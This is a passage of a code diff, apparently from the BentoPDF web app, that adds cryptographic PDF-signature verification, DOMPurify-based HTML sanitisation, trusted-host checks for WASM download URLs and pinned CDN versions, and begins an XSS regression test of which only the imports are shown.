+    case '1.3.14.3.2.26':
+      return 'SHA-1';
+    case '2.16.840.1.101.3.4.2.1':
+      return 'SHA-256';
+    case '2.16.840.1.101.3.4.2.2':
+      return 'SHA-384';
+    case '2.16.840.1.101.3.4.2.3':
+      return 'SHA-512';
+    default:
+      return null;
+  }
+}
+
+function detectSigScheme(
+  signatureAlgorithmArr: forge.asn1.Asn1[] | undefined,
+  digestOid: string
+): SigScheme | { unsupported: string } {
+  if (!signatureAlgorithmArr || signatureAlgorithmArr.length === 0) {
+    return { unsupported: 'Missing signatureAlgorithm' };
+  }
+  const oidNode = signatureAlgorithmArr[0];
+  if (!oidNode || oidNode.type !== forge.asn1.Type.OID) {
+    return { unsupported: 'Malformed signatureAlgorithm' };
+  }
+  const oid = forge.asn1.derToOid(oidNode.value as string);
+  const implicitHash = hashNameFromOid(digestOid);
+
+  switch (oid) {
+    case '1.2.840.113549.1.1.1':
+      return implicitHash
+        ? { kind: 'rsa-pkcs1', hashName: implicitHash }
+        : { unsupported: `Unsupported digest OID ${digestOid}` };
+    case '1.2.840.113549.1.1.5':
+      return { kind: 'rsa-pkcs1', hashName: 'SHA-1' };
+    case '1.2.840.113549.1.1.11':
+      return { kind: 'rsa-pkcs1', hashName: 'SHA-256' };
+    case '1.2.840.113549.1.1.12':
+      return { kind: 'rsa-pkcs1', hashName: 'SHA-384' };
+    case '1.2.840.113549.1.1.13':
+      return { kind: 'rsa-pkcs1', hashName: 'SHA-512' };
+    case '1.2.840.113549.1.1.10': {
+      const params = parsePssParams(signatureAlgorithmArr[1]);
+      return {
+        kind: 'rsa-pss',
+        hashName: params.hashName,
+        pssSaltLength: params.saltLength,
+      };
+    }
+    case '1.2.840.10045.4.1':
+      return { kind: 'ecdsa', hashName: 'SHA-1' };
+    case '1.2.840.10045.4.3.2':
+      return { kind: 'ecdsa', hashName: 'SHA-256' };
+    case '1.2.840.10045.4.3.3':
+      return { kind: 'ecdsa', hashName: 'SHA-384' };
+    case '1.2.840.10045.4.3.4':
+      return { kind: 'ecdsa', hashName: 'SHA-512' };
+    case '1.2.840.10045.2.1':
+      return implicitHash
+        ? { kind: 'ecdsa', hashName: implicitHash }
+        : { unsupported: `Unsupported digest OID ${digestOid}` };
+    default:
+      return { unsupported: `Unsupported signature algorithm OID ${oid}` };
+  }
+}
+
+function parsePssParams(paramsNode: forge.asn1.Asn1 | undefined): {
+  hashName: SigScheme['hashName'];
+  saltLength: number;
+} {
+  const fallback = { hashName: 'SHA-1' as const, saltLength: 20 };
+  if (!paramsNode || !Array.isArray(paramsNode.value)) return fallback;
+  let hashName: SigScheme['hashName'] = 'SHA-1';
+  let saltLength = 20;
+  for (const item of paramsNode.value) {
+    if (item.tagClass !== forge.asn1.Class.CONTEXT_SPECIFIC) continue;
+    if (item.type === 0 && Array.isArray(item.value) && item.value[0]) {
+      const algoIdSeq = item.value[0];
+      if (Array.isArray(algoIdSeq.value) && algoIdSeq.value[0]) {
+        const hashOid = forge.asn1.derToOid(algoIdSeq.value[0].value as string);
+        const resolved = hashNameFromOid(hashOid);
+        if (resolved) hashName = resolved;
+      }
+    } else if (item.type === 2 && typeof item.value === 'string') {
+      let n = 0;
+      for (let i = 0; i < item.value.length; i++) {
+        n = (n << 8) | item.value.charCodeAt(i);
+      }
+      if (n > 0 && n < 1024) saltLength = n;
+    }
+  }
+  return { hashName, saltLength };
+}
+
+function extractSpkiDer(
+  p7: forge.pkcs7.PkcsSignedData & {
+    rawCapture?: { certificates?: forge.asn1.Asn1 };
+  }
+): Uint8Array | null {
+  try {
+    const certsNode = p7.rawCapture?.certificates;
+    if (!certsNode || !Array.isArray(certsNode.value) || !certsNode.value[0]) {
+      return null;
+    }
+    const certAsn1 = certsNode.value[0];
+    if (!Array.isArray(certAsn1.value) || !certAsn1.value[0]) return null;
+    const tbs = certAsn1.value[0];
+    if (!Array.isArray(tbs.value)) return null;
+    let startIdx = 0;
+    if (
+      tbs.value[0] &&
+      tbs.value[0].tagClass === forge.asn1.Class.CONTEXT_SPECIFIC
+    ) {
+      startIdx = 1;
+    }
+    const spkiAsn1 = tbs.value[startIdx + 5];
+    if (!spkiAsn1) return null;
+    return latin1ToUint8(forge.asn1.toDer(spkiAsn1).getBytes());
+  } catch {
+    return null;
+  }
+}
+
+function curveFromSpki(
+  spkiDer: Uint8Array
+): { name: 'P-256' | 'P-384' | 'P-521'; coordBytes: number } | null {
+  try {
+    const spki = forge.asn1.fromDer(uint8ToLatin1(spkiDer));
+    if (!Array.isArray(spki.value) || !spki.value[0]) return null;
+    const algoId = spki.value[0];
+    if (!Array.isArray(algoId.value) || !algoId.value[1]) return null;
+    const params = algoId.value[1];
+    if (params.type !== forge.asn1.Type.OID) return null;
+    const oid = forge.asn1.derToOid(params.value as string);
+    if (oid === '1.2.840.10045.3.1.7') return { name: 'P-256', coordBytes: 32 };
+    if (oid === '1.3.132.0.34') return { name: 'P-384', coordBytes: 48 };
+    if (oid === '1.3.132.0.35') return { name: 'P-521', coordBytes: 66 };
+    return null;
+  } catch {
+    return null;
+  }
+}
+
+function ecdsaDerToP1363(
+  derSig: Uint8Array,
+  coordBytes: number
+): Uint8Array | null {
+  try {
+    const parsed = forge.asn1.fromDer(uint8ToLatin1(derSig));
+    if (!Array.isArray(parsed.value) || parsed.value.length !== 2) return null;
+    const r = latin1ToUint8(parsed.value[0].value as string);
+    const s = latin1ToUint8(parsed.value[1].value as string);
+    const rStripped = r[0] === 0 && r.length > 1 ? r.slice(1) : r;
+    const sStripped = s[0] === 0 && s.length > 1 ? s.slice(1) : s;
+    if (rStripped.length > coordBytes || sStripped.length > coordBytes) {
+      return null;
+    }
+    const out = new Uint8Array(coordBytes * 2);
+    out.set(rStripped, coordBytes - rStripped.length);
+    out.set(sStripped, coordBytes * 2 - sStripped.length);
+    return out;
+  } catch {
+    return null;
+  }
+}
+
+async function verifyViaWebCrypto(
+  scheme: SigScheme,
+  spkiDer: Uint8Array,
+  signedBytes: Uint8Array,
+  signatureBytes: Uint8Array
+): Promise<CryptoVerificationResult> {
+  const subtle =
+    typeof globalThis.crypto !== 'undefined' && globalThis.crypto.subtle
+      ? globalThis.crypto.subtle
+      : null;
+  if (!subtle) {
+    return {
+      status: 'unsupported',
+      reason: 'Web Crypto API not available in this context',
+    };
+  }
+
+  const spki = new Uint8Array(spkiDer);
+  const signed = new Uint8Array(signedBytes);
+  const sig = new Uint8Array(signatureBytes);
+
+  try {
+    if (scheme.kind === 'rsa-pss') {
+      const key = await subtle.importKey(
+        'spki',
+        spki,
+        { name: 'RSA-PSS', hash: scheme.hashName },
+        false,
+        ['verify']
+      );
+      const ok = await subtle.verify(
+        { name: 'RSA-PSS', saltLength: scheme.pssSaltLength ?? 32 },
+        key,
+        sig,
+        signed
+      );
+      return ok
+        ? { status: 'verified' }
+        : {
+            status: 'failed',
+            reason:
+              'RSA-PSS signature does not verify against signer public key',
+          };
+    }
+
+    if (scheme.kind === 'ecdsa') {
+      const curve = curveFromSpki(spki);
+      if (!curve) {
+        return {
+          status: 'unsupported',
+          reason: 'Unsupported ECDSA curve in signer certificate',
+        };
+      }
+      const p1363 = ecdsaDerToP1363(sig, curve.coordBytes);
+      if (!p1363) {
+        return {
+          status: 'failed',
+          reason: 'Malformed ECDSA signature (could not parse r,s)',
+        };
+      }
+      const key = await subtle.importKey(
+        'spki',
+        spki,
+        { name: 'ECDSA', namedCurve: curve.name },
+        false,
+        ['verify']
+      );
+      const ok = await subtle.verify(
+        { name: 'ECDSA', hash: scheme.hashName },
+        key,
+        new Uint8Array(p1363),
+        signed
+      );
+      return ok
+        ? { status: 'verified' }
+        : {
+            status: 'failed',
+            reason: 'ECDSA signature does not verify against signer public key',
+          };
+    }
+
+    if (scheme.kind === 'rsa-pkcs1') {
+      const key = await subtle.importKey(
+        'spki',
+        spki,
+        { name: 'RSASSA-PKCS1-v1_5', hash: scheme.hashName },
+        false,
+        ['verify']
+      );
+      const ok = await subtle.verify('RSASSA-PKCS1-v1_5', key, sig, signed);
+      return ok
+        ? { status: 'verified' }
+        : {
+            status: 'failed',
+            reason:
+              'RSA-PKCS1 signature does not verify against signer public key',
+          };
+    }
+
+    return {
+      status: 'unsupported',
+      reason: `Signature scheme ${scheme.kind} not implemented`,
+    };
+  } catch (e) {
+    return {
+      status: 'unsupported',
+      reason:
+        'Web Crypto import/verify failed: ' +
+        (e instanceof Error ? e.message : String(e)),
+    };
+  }
+}
+
+async function performCryptoVerification(
+  p7: forge.pkcs7.PkcsSignedData & {
+    rawCapture?: {
+      signatureAlgorithm?: forge.asn1.Asn1[];
+      certificates?: forge.asn1.Asn1;
+    };
+  },
+  pdfBytes: Uint8Array,
+  byteRange: number[],
+  signerCert: forge.pki.Certificate,
+  fields: SignerInfoFields | null
+): Promise<CryptoVerificationResult> {
+  if (!fields) {
+    return { status: 'failed', reason: 'Could not parse signer info' };
+  }
+  if (byteRange.length !== 4) {
+    return { status: 'failed', reason: 'Malformed ByteRange' };
+  }
+
+  const md = createMd(fields.digestOid);
+  if (!md) {
+    return {
+      status: 'unsupported',
+      reason: `Unsupported digest OID ${fields.digestOid}`,
+    };
+  }
+
+  const [start1, len1, start2, len2] = byteRange;
+  if (
+    start1 < 0 ||
+    len1 < 0 ||
+    start2 < 0 ||
+    len2 < 0 ||
+    start1 + len1 > pdfBytes.length ||
+    start2 + len2 > pdfBytes.length
+  ) {
+    return { status: 'failed', reason: 'ByteRange out of bounds' };
+  }
+
+  const signedContent = new Uint8Array(len1 + len2);
+  signedContent.set(pdfBytes.subarray(start1, start1 + len1), 0);
+  signedContent.set(pdfBytes.subarray(start2, start2 + len2), len1);
+
+  md.update(uint8ToLatin1(signedContent));
+  const contentHashBytes = md.digest().bytes();
+
+  const authAttrs = fields.authAttrs;
+  const signatureBytes = fields.signatureBytes;
+  if (!signatureBytes) {
+    return { status: 'failed', reason: 'Empty signature bytes' };
+  }
+
+  const scheme = detectSigScheme(
+    p7.rawCapture?.signatureAlgorithm,
+    fields.digestOid
+  );
+  if ('unsupported' in scheme) {
+    return { status: 'unsupported', reason: scheme.unsupported };
+  }
+
+  let messageDigestAttrValue: string | null = null;
+  let signedBytesForVerify: Uint8Array;
+
+  if (authAttrs) {
+    for (const attr of authAttrs) {
+      if (!attr.value || !Array.isArray(attr.value) || attr.value.length < 2)
+        continue;
+      const oidNode = attr.value[0];
+      const setNode = attr.value[1];
+      if (!oidNode || oidNode.type !== forge.asn1.Type.OID) continue;
+      const oid = forge.asn1.derToOid(oidNode.value as string);
+      if (oid === forge.pki.oids.messageDigest) {
+        if (
+          setNode?.value &&
+          Array.isArray(setNode.value) &&
+          setNode.value[0]
+        ) {
+          messageDigestAttrValue = setNode.value[0].value as string;
+        }
+        break;
+      }
+    }
+
+    if (messageDigestAttrValue === null) {
+      return {
+        status: 'failed',
+        reason: 'messageDigest attribute missing from authenticated attributes',
+      };
+    }
+    if (messageDigestAttrValue !== contentHashBytes) {
+      return {
+        status: 'failed',
+        reason:
+          'Content hash does not match messageDigest attribute — PDF was modified after signing',
+      };
+    }
+
+    const asSet = forge.asn1.create(
+      forge.asn1.Class.UNIVERSAL,
+      forge.asn1.Type.SET,
+      true,
+      authAttrs
+    );
+    signedBytesForVerify = latin1ToUint8(forge.asn1.toDer(asSet).getBytes());
+  } else {
+    signedBytesForVerify = signedContent;
+  }
+
+  if (scheme.kind === 'rsa-pkcs1') {
+    try {
+      const publicKey = signerCert.publicKey as forge.pki.rsa.PublicKey;
+      const md2 = createMd(fields.digestOid)!;
+      md2.update(uint8ToLatin1(signedBytesForVerify));
+      const ok = publicKey.verify(md2.digest().bytes(), signatureBytes);
+      if (ok) return { status: 'verified' };
+    } catch {
+      // fall through to Web Crypto
+    }
+  }
+
+  const spkiDer = extractSpkiDer(p7);
+  if (!spkiDer) {
+    return {
+      status: 'unsupported',
+      reason: 'Could not extract signer public key',
+    };
+  }
+  return verifyViaWebCrypto(
+    scheme,
+    spkiDer,
+    signedBytesForVerify,
+    latin1ToUint8(signatureBytes)
+  );
+}

src/js/logic/word-to-pdf.ts

@@ -1,4 +1,5 @@
 // NOTE: This is a work in progress and does not work correctly as of yet
+import DOMPurify from 'dompurify';
 import { showLoader, hideLoader, showAlert } from '../ui.js';
 import { readFileAsArrayBuffer } from '../utils/helpers.js';
 import { state } from '../state.js';
@@ -41,17 +42,20 @@ export async function wordToPdf() {
     const downloadBtn = document.getElementById('preview-download-btn');
     const closeBtn = document.getElementById('preview-close-btn');
 
-    const styledHtml = `
+    const STYLE_ID = 'word-to-pdf-preview-style';
-            <style>
+    if (!document.getElementById(STYLE_ID)) {
+      const styleEl = document.createElement('style');
+      styleEl.id = STYLE_ID;
+      styleEl.textContent = `
         #preview-content { font-family: 'Times New Roman', Times, serif; font-size: 12pt; line-height: 1.5; color: black; }
         #preview-content table { border-collapse: collapse; width: 100%; }
         #preview-content td, #preview-content th { border: 1px solid #dddddd; text-align: left; padding: 8px; }
         #preview-content img { max-width: 100%; height: auto; }
         #preview-content a { color: #0000ee; text-decoration: underline; }
-            </style>
-            ${html}
       `;
-    previewContent.innerHTML = styledHtml;
+      document.head.appendChild(styleEl);
+    }
+    previewContent.innerHTML = DOMPurify.sanitize(html);
 
     const marginDiv = document.createElement('div');
     marginDiv.style.height = '100px';

src/js/main.ts

@@ -5,7 +5,11 @@ import { createIcons, icons } from 'lucide';
 import '@phosphor-icons/web/regular';
 import * as pdfjsLib from 'pdfjs-dist';
 import '../css/styles.css';
-import { formatShortcutDisplay, formatStars } from './utils/helpers.js';
+import {
+  escapeHtml,
+  formatShortcutDisplay,
+  formatStars,
+} from './utils/helpers.js';
 import {
   initI18n,
   applyTranslations,
@@ -1051,8 +1055,8 @@ const init = async () => {
 
               await showWarningModal(
                 t('settings.warnings.alreadyInUse'),
-                `<strong>${displayCombo}</strong> ${t('settings.warnings.assignedTo')}<br><br>` +
+                `<strong>${escapeHtml(displayCombo)}</strong> ${t('settings.warnings.assignedTo')}<br><br>` +
-                  `<em>"${translatedToolName}"</em><br><br>` +
+                  `<em>"${escapeHtml(translatedToolName)}"</em><br><br>` +
                   t('settings.warnings.chooseDifferent'),
                 false
               );
@@ -1071,8 +1075,8 @@ const init = async () => {
               const displayCombo = formatShortcutDisplay(combo, isMac);
               const shouldProceed = await showWarningModal(
                 t('settings.warnings.reserved'),
-                `<strong>${displayCombo}</strong> ${t('settings.warnings.commonlyUsed')}<br><br>` +
+                `<strong>${escapeHtml(displayCombo)}</strong> ${t('settings.warnings.commonlyUsed')}<br><br>` +
-                  `"<em>${reservedWarning}</em>"<br><br>` +
+                  `"<em>${escapeHtml(reservedWarning)}</em>"<br><br>` +
                   `${t('settings.warnings.unreliable')}<br><br>` +
                   t('settings.warnings.useAnyway')
               );

src/js/sw-register.ts

@@ -7,10 +7,42 @@
  */
 
 // Skip service worker registration in development mode
-const isDevelopment = window.location.hostname === 'localhost' ||
+const isDevelopment =
+  window.location.hostname === 'localhost' ||
   window.location.hostname === '127.0.0.1' ||
   window.location.port !== '';
 
+function collectTrustedWasmHosts(): string[] {
+  const hosts = new Set<string>();
+  const candidates = [
+    import.meta.env.VITE_WASM_PYMUPDF_URL,
+    import.meta.env.VITE_WASM_GS_URL,
+    import.meta.env.VITE_WASM_CPDF_URL,
+    import.meta.env.VITE_TESSERACT_WORKER_URL,
+    import.meta.env.VITE_TESSERACT_CORE_URL,
+    import.meta.env.VITE_TESSERACT_LANG_URL,
+    import.meta.env.VITE_OCR_FONT_BASE_URL,
+  ];
+  for (const raw of candidates) {
+    if (!raw) continue;
+    try {
+      hosts.add(new URL(raw).origin);
+    } catch {
+      console.warn(
+        `[SW] Ignoring malformed VITE_* URL for SW trusted-hosts: ${raw}`
+      );
+    }
+  }
+  return Array.from(hosts);
+}
+
+function sendTrustedHostsToSw(target: ServiceWorker | null | undefined) {
+  if (!target) return;
+  const hosts = collectTrustedWasmHosts();
+  if (hosts.length === 0) return;
+  target.postMessage({ type: 'SET_TRUSTED_CDN_HOSTS', hosts });
+}
+
 if (isDevelopment) {
   console.log('[Dev Mode] Service Worker registration skipped in development');
   console.log('Service Worker will be active in production builds');
@@ -21,20 +53,40 @@ if (isDevelopment) {
     navigator.serviceWorker
       .register(swPath)
       .then((registration) => {
-                console.log('[SW] Service Worker registered successfully:', registration.scope);
+        console.log(
+          '[SW] Service Worker registered successfully:',
+          registration.scope
+        );
 
-                setInterval(() => {
+        sendTrustedHostsToSw(
+          registration.active || registration.waiting || registration.installing
+        );
+
+        setInterval(
+          () => {
             registration.update();
-                }, 24 * 60 * 60 * 1000);
+          },
+          24 * 60 * 60 * 1000
+        );
 
         registration.addEventListener('updatefound', () => {
           const newWorker = registration.installing;
           if (newWorker) {
             newWorker.addEventListener('statechange', () => {
-                            if (newWorker.state === 'installed' && navigator.serviceWorker.controller) {
+              if (newWorker.state === 'activated') {
+                sendTrustedHostsToSw(newWorker);
+              }
+              if (
+                newWorker.state === 'installed' &&
+                navigator.serviceWorker.controller
+              ) {
                 console.log('[SW] New version available! Reload to update.');
 
-                                if (confirm('A new version of BentoPDF is available. Reload to update?')) {
+                if (
+                  confirm(
+                    'A new version of BentoPDF is available. Reload to update?'
+                  )
+                ) {
                   newWorker.postMessage({ type: 'SKIP_WAITING' });
                   window.location.reload();
                 }
@@ -47,6 +99,10 @@ if (isDevelopment) {
         console.error('[SW] Service Worker registration failed:', error);
       });
 
+    navigator.serviceWorker.ready.then((registration) => {
+      sendTrustedHostsToSw(registration.active);
+    });
+
     navigator.serviceWorker.addEventListener('controllerchange', () => {
       console.log('[SW] New service worker activated, reloading...');
       window.location.reload();

src/js/types/validate-signature-type.ts

@@ -25,6 +25,10 @@ export interface SignatureValidationResult {
   byteRange?: number[];
   coverageStatus: 'full' | 'partial' | 'unknown';
   errorMessage?: string;
+  cryptoVerified?: boolean;
+  cryptoVerificationStatus?: 'verified' | 'failed' | 'unsupported';
+  unsupportedAlgorithmReason?: string;
+  usesInsecureDigest?: boolean;
 }
 
 export interface ExtractedSignature {

src/js/utils/helpers.ts

@@ -4,6 +4,7 @@ import { showLoader, hideLoader, showAlert } from '../ui.js';
 import { createIcons } from 'lucide';
 import { state, resetState } from '../state.js';
 import * as pdfjsLib from 'pdfjs-dist';
+import DOMPurify from 'dompurify';
 import type { DocumentInitParameters } from 'pdfjs-dist/types/src/display/api';
 
 const STANDARD_SIZES = {
@@ -319,19 +320,12 @@ export function uint8ArrayToBase64(bytes: Uint8Array): string {
 export function sanitizeEmailHtml(html: string): string {
   if (!html) return html;
 
-  let sanitized = html;
+  let sanitized = DOMPurify.sanitize(html, {
+    FORBID_TAGS: ['style', 'link', 'script', 'iframe', 'object', 'embed'],
+    FORBID_ATTR: ['style'],
+    ALLOW_DATA_ATTR: false,
+  });
 
-  sanitized = sanitized.replace(/<head[^>]*>[\s\S]*?<\/head>/gi, '');
-  sanitized = sanitized.replace(/<style[^>]*>[\s\S]*?<\/style>/gi, '');
-  sanitized = sanitized.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '');
-  sanitized = sanitized.replace(/<link[^>]*>/gi, '');
-  sanitized = sanitized.replace(/\s+style=["'][^"']*["']/gi, '');
-  sanitized = sanitized.replace(/\s+class=["'][^"']*["']/gi, '');
-  sanitized = sanitized.replace(/\s+data-[a-z-]+=["'][^"']*["']/gi, '');
-  sanitized = sanitized.replace(
-    /<img[^>]*(?:width=["']1["'][^>]*height=["']1["']|height=["']1["'][^>]*width=["']1["'])[^>]*\/?>/gi,
-    ''
-  );
   sanitized = sanitized.replace(
     /href=["']https?:\/\/[^"']*safelinks\.protection\.outlook\.com[^"']*url=([^&"']+)[^"']*["']/gi,
     (match, encodedUrl) => {
@@ -343,10 +337,9 @@ export function sanitizeEmailHtml(html: string): string {
       }
     }
   );
-  sanitized = sanitized.replace(/\s+originalsrc=["'][^"']*["']/gi, '');
   sanitized = sanitized.replace(
     /href=["']([^"']{500,})["']/gi,
-    (match, url) => {
+    (_match, url: string) => {
       const baseUrl = url.split('?')[0];
       if (baseUrl && baseUrl.length < 200) {
         return `href="${baseUrl}"`;
@@ -354,15 +347,12 @@ export function sanitizeEmailHtml(html: string): string {
       return `href="${url.substring(0, 200)}"`;
     }
   );
-
   sanitized = sanitized.replace(
-    /\s+(cellpadding|cellspacing|bgcolor|border|valign|align|width|height|role|dir|id)=["'][^"']*["']/gi,
+    /<img[^>]*(?:width=["']1["'][^>]*height=["']1["']|height=["']1["'][^>]*width=["']1["'])[^>]*\/?>/gi,
     ''
   );
   sanitized = sanitized.replace(/<\/?table[^>]*>/gi, '<div>');
-  sanitized = sanitized.replace(/<\/?tbody[^>]*>/gi, '');
+  sanitized = sanitized.replace(/<\/?(tbody|thead|tfoot)[^>]*>/gi, '');
-  sanitized = sanitized.replace(/<\/?thead[^>]*>/gi, '');
-  sanitized = sanitized.replace(/<\/?tfoot[^>]*>/gi, '');
   sanitized = sanitized.replace(/<tr[^>]*>/gi, '<div>');
   sanitized = sanitized.replace(/<\/tr>/gi, '</div>');
   sanitized = sanitized.replace(/<td[^>]*>/gi, '<span> ');
@@ -373,10 +363,6 @@ export function sanitizeEmailHtml(html: string): string {
   sanitized = sanitized.replace(/<span>\s*<\/span>/gi, '');
   sanitized = sanitized.replace(/(<div>)+/gi, '<div>');
   sanitized = sanitized.replace(/(<\/div>)+/gi, '</div>');
-  sanitized = sanitized.replace(
-    /<a[^>]*href=["']\s*["'][^>]*>([^<]*)<\/a>/gi,
-    '$1'
-  );
 
   const MAX_HTML_SIZE = 100000;
   if (sanitized.length > MAX_HTML_SIZE) {

src/js/utils/markdown-editor.ts

@@ -1,4 +1,5 @@
 import MarkdownIt from 'markdown-it';
+import DOMPurify from 'dompurify';
 import hljs from 'highlight.js/lib/core';
 import javascript from 'highlight.js/lib/languages/javascript';
 import typescript from 'highlight.js/lib/languages/typescript';
@@ -297,7 +298,7 @@ export class MarkdownEditor {
       mermaid.initialize({
         startOnLoad: false,
         theme: 'default',
-        securityLevel: 'loose',
+        securityLevel: 'strict',
         fontFamily:
           '-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif',
       });
@@ -691,7 +692,9 @@ export class MarkdownEditor {
 
     const markdown = this.editor.value;
     const html = this.md.render(markdown);
-    this.preview.innerHTML = html;
+    this.preview.innerHTML = DOMPurify.sanitize(html, {
+      ADD_ATTR: ['target'],
+    });
     this.renderMermaidDiagrams();
   }
 
@@ -714,7 +717,9 @@ export class MarkdownEditor {
 
           const wrapper = document.createElement('div');
           wrapper.className = 'mermaid-diagram';
-          wrapper.innerHTML = svg;
+          wrapper.innerHTML = DOMPurify.sanitize(svg, {
+            USE_PROFILES: { svg: true, svgFilters: true },
+          });
 
           pre.replaceWith(wrapper);
         } catch (error) {
@@ -740,7 +745,9 @@ export class MarkdownEditor {
   }
 
   public getHtml(): string {
-    return this.md.render(this.getContent());
+    return DOMPurify.sanitize(this.md.render(this.getContent()), {
+      ADD_ATTR: ['target'],
+    });
   }
 
   private exportPdf(): void {

src/js/utils/wasm-provider.ts

@@ -10,8 +10,8 @@ const STORAGE_KEY = 'bentopdf:wasm-providers';
 
 const CDN_DEFAULTS: Record<WasmPackage, string> = {
   pymupdf: 'https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/',
-  ghostscript: 'https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/',
+  ghostscript: 'https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/',
-  cpdf: 'https://cdn.jsdelivr.net/npm/coherentpdf/dist/',
+  cpdf: 'https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/',
 };
 
 function envOrDefault(envVar: string | undefined, fallback: string): string {
@@ -30,20 +30,77 @@ const ENV_DEFAULTS: Record<WasmPackage, string> = {
   cpdf: envOrDefault(import.meta.env.VITE_WASM_CPDF_URL, CDN_DEFAULTS.cpdf),
 };
 
+function hostnameOf(url: string): string | null {
+  try {
+    return new URL(url).hostname;
+  } catch {
+    return null;
+  }
+}
+
+function collectBuiltinTrustedHosts(): Set<string> {
+  const hosts = new Set<string>();
+  if (typeof location !== 'undefined' && location.hostname) {
+    hosts.add(location.hostname);
+  }
+  for (const url of Object.values(CDN_DEFAULTS)) {
+    const h = hostnameOf(url);
+    if (h) hosts.add(h);
+  }
+  for (const url of Object.values(ENV_DEFAULTS)) {
+    const h = hostnameOf(url);
+    if (h) hosts.add(h);
+  }
+  return hosts;
+}
+
+const BUILTIN_TRUSTED_HOSTS = collectBuiltinTrustedHosts();
+
 class WasmProviderManager {
   private config: WasmProviderConfig;
   private validationCache: Map<WasmPackage, boolean> = new Map();
+  private trustedHosts: Set<string> = new Set<string>(BUILTIN_TRUSTED_HOSTS);
 
   constructor() {
     this.config = this.loadConfig();
   }
 
+  private isTrustedUrl(url: string): boolean {
+    const host = hostnameOf(url);
+    return !!host && this.trustedHosts.has(host);
+  }
+
   private loadConfig(): WasmProviderConfig {
     try {
       const stored = localStorage.getItem(STORAGE_KEY);
-      if (stored) {
+      if (!stored) return {};
-        return JSON.parse(stored);
+      const parsed = JSON.parse(stored) as WasmProviderConfig;
+      const safe: WasmProviderConfig = {};
+      let dropped = false;
+      for (const key of ['pymupdf', 'ghostscript', 'cpdf'] as WasmPackage[]) {
+        const url = parsed[key];
+        if (typeof url !== 'string') continue;
+        if (this.isTrustedUrl(url)) {
+          safe[key] = url;
+        } else {
+          dropped = true;
+          console.warn(
+            `[WasmProvider] Ignoring untrusted stored URL for ${key}: ${url}. ` +
+              'Reconfigure via Advanced Settings to re-enable.'
+          );
         }
+      }
+      if (dropped) {
+        try {
+          localStorage.setItem(STORAGE_KEY, JSON.stringify(safe));
+        } catch (e) {
+          console.error(
+            '[WasmProvider] Failed to scrub untrusted config from localStorage:',
+            e
+          );
+        }
+      }
+      return safe;
     } catch (e) {
       console.warn(
         '[WasmProvider] Failed to load config from localStorage:',
@@ -66,11 +123,23 @@ class WasmProviderManager {
   }
 
   getUrl(packageName: WasmPackage): string | undefined {
-    return this.config[packageName] || this.getEnvDefault(packageName);
+    const stored = this.config[packageName];
+    if (stored) {
+      if (this.isTrustedUrl(stored)) return stored;
+      console.warn(
+        `[WasmProvider] Refusing to use untrusted URL for ${packageName}; falling back to env default.`
+      );
+    }
+    return this.getEnvDefault(packageName);
   }
 
   setUrl(packageName: WasmPackage, url: string): void {
     const normalizedUrl = url.endsWith('/') ? url : `${url}/`;
+    const host = hostnameOf(normalizedUrl);
+    if (!host) {
+      throw new Error('Invalid URL');
+    }
+    this.trustedHosts.add(host);
     this.config[packageName] = normalizedUrl;
     this.validationCache.delete(packageName);
     this.saveConfig();
@@ -219,6 +288,7 @@ class WasmProviderManager {
   clearAll(): void {
     this.config = {};
     this.validationCache.clear();
+    this.trustedHosts = new Set<string>(BUILTIN_TRUSTED_HOSTS);
     try {
       localStorage.removeItem(STORAGE_KEY);
     } catch (e) {

src/pages/pdf-multi-tool.html

@@ -375,7 +375,6 @@
         <div
           id="upload-area"
           class="hidden border-2 border-dashed border-gray-600 rounded-lg p-6 sm:p-12 text-center max-w-full cursor-pointer"
-          onclick="document.getElementById('pdf-file-input').click()"
         >
           <i
             data-lucide="upload-cloud"
@@ -401,10 +400,7 @@
             class="hidden"
           />
           <button
-            onclick="
+            id="pdf-file-input-select-btn"
-              event.stopPropagation();
-              document.getElementById('pdf-file-input').click();
-            "
             class="bg-indigo-600 hover:bg-indigo-700 text-white px-4 sm:px-6 py-2 rounded text-sm sm:text-base"
             data-i18n="multiTool.selectFiles"
           >

src/pages/repair-pdf.html

@@ -218,9 +218,7 @@
         </h3>
         <p id="alert-message" class="text-gray-300 mb-6"></p>
         <button
-          onclick="
+          id="alert-ok"
-            document.getElementById('alert-modal').classList.add('hidden')
-          "
           class="w-full bg-indigo-600 hover:bg-indigo-700 text-white font-semibold py-2 px-4 rounded-lg transition-colors duration-200"
         >
           OK

src/pages/wasm-settings.html

@@ -191,10 +191,10 @@
               <span class="text-xs text-gray-500">Recommended:</span>
               <code
                 class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
-                >https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/</code
+                >https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/</code
               >
               <button
-                data-copy="https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/"
+                data-copy="https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/"
                 class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
                 title="Copy to clipboard"
               >
@@ -238,10 +238,10 @@
               <span class="text-xs text-gray-500">Recommended:</span>
               <code
                 class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
-                >https://cdn.jsdelivr.net/npm/coherentpdf/dist/</code
+                >https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/</code
               >
               <button
-                data-copy="https://cdn.jsdelivr.net/npm/coherentpdf/dist/"
+                data-copy="https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/"
                 class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
                 title="Copy to clipboard"
               >

src/tests/xss-replay.test.ts

@@ -0,0 +1,365 @@
+import { describe, it, expect, beforeEach, vi } from 'vitest';
+import MarkdownIt from 'markdown-it';
+import DOMPurify from 'dompurify';
+import forge from 'node-forge';
+import { escapeHtml, sanitizeEmailHtml } from '../js/utils/helpers';
+import { validateSignature } from '../js/logic/validate-signature-pdf';
+import type { ExtractedSignature } from '@/types';
+
